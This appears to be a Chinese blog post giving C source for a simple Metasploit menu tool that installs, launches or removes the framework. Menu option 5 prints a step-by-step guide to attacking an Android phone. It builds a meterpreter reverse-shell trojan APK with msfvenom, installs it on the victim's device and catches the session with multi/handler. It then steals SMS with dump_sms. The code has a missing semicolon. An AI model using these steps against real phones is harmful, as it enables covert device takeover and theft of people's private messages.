C语言MSF管理工具(较简单)

**不多说,直接上代码
因为本懒人不会SHELL语言,所以使用C语言编写,其效果跟SHELL一样。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main( int argc, char *argv[] )
{
        system("apt-get install sl");
        system("sl");
        system("clear");
        for( ;; )
        {
                printf("\n\n\n\n");
                printf("\t\t\033[;31;1m欢迎使用本MSF管理工具\n");
                printf("\t-------------------------------------\n");
                printf("\t\t[1]启动metasploit(MSF)\n");
                printf("\t\t[2]安装metasploit(MSF)\n");
                printf("\t\t[3]卸载metasploit(MSF)\n");
                printf("\t\t[4]打开MSF手册\n");
                printf("\t\t[5]使用MSF攻击Android\n");
                printf("\t\t[6]关于作者介绍\n")
                printf("\t\t[0]退出MSF管理工具\n");
                printf("\t-------------------------------------\n");
                printf("\033[;34;1m请选择>");
                int sinput;
                scanf("%d", &sinput);
                if( sinput == 1 )
                {
                        printf("如果启动失败,请安装或重装MSF\n启动时请等待,勿放弃\n");
                        system("msfconsole");
                }
                else if( sinput == 2 )
                {
                        printf("Metasploit-Framework安装后会占用大于800MB的空间,请确认后再安装\n");
                        system("apt-get install metasploit-framework");
                }
                else if( sinput == 3 )
                {
                        system("apt-get remove metasploit-framework");
                }
                else if( sinput == 4 )
                {
                        system("apt-get install man");
                        system("apt-get install metasploit-framework");
                        system("man msfconsole");
                }
                else if( sinput == 5 )
                {
                        printf("本工具将教你怎样使用MSF入 侵Android,但切记勿非法使用,遵守中国网络安全法!\n");
                        printf("正在进入教程...\n");
                        printf("1.在终端输入\"ifconfig\"查看自己IP\n");
                        system("sleep 3");
                        printf("2.输入\"msfvenom -p android/meterpreter/reverse_tcp LHOST=自己的IP LPORT=5555 R > /root/apk.apk\"\n");
                        system("sleep 3");
                        printf("3.把生成的木马(apk.apk)进 行签名并安装到要被攻击手机上\n");
                        system("sleep 3");
                        printf("4.输入\"msfconsole\"\n");
                        system("sleep 3");
                        printf("5.在MSF中输入\"use exploit/multi/handler\",\"set payload android/meterpreter/reverse_tcp\"\n");
                        system("sleep 3");
                        printf("6.在MSF中输入\"set LHOST  自己的IP\"\n");
                        system("sleep 3");
                        printf("7.在MSF中输入\"set LPORT 5555\"\n");
                        system("sleep 3");
                        printf("8.输入\"run\"或\"exploit\"开始攻击\n");
                        system("sleep 3");
                        printf("9.攻击成功后输入\"help\"查看更多命名,如\"dump_sms\"即可获得短信信息...\033[;0m\n");
                        while( getchar() != '\n' )
                        {
                                continue;
                        }
                }
                else if( sinput == 6 )
                {
                        printf("作者:Li Pinhong\n性别:男\n年龄:未知\n由于本人不会SHELL语言,所以使用C语言编写,做的不 好请见谅,谢谢\n");
                }
                else if( sinput == 0 )
                {
                        exit(0);
                }
        }
        return 0;
}
上一篇:Mac下安装Metaspoit


下一篇:Metasploit framework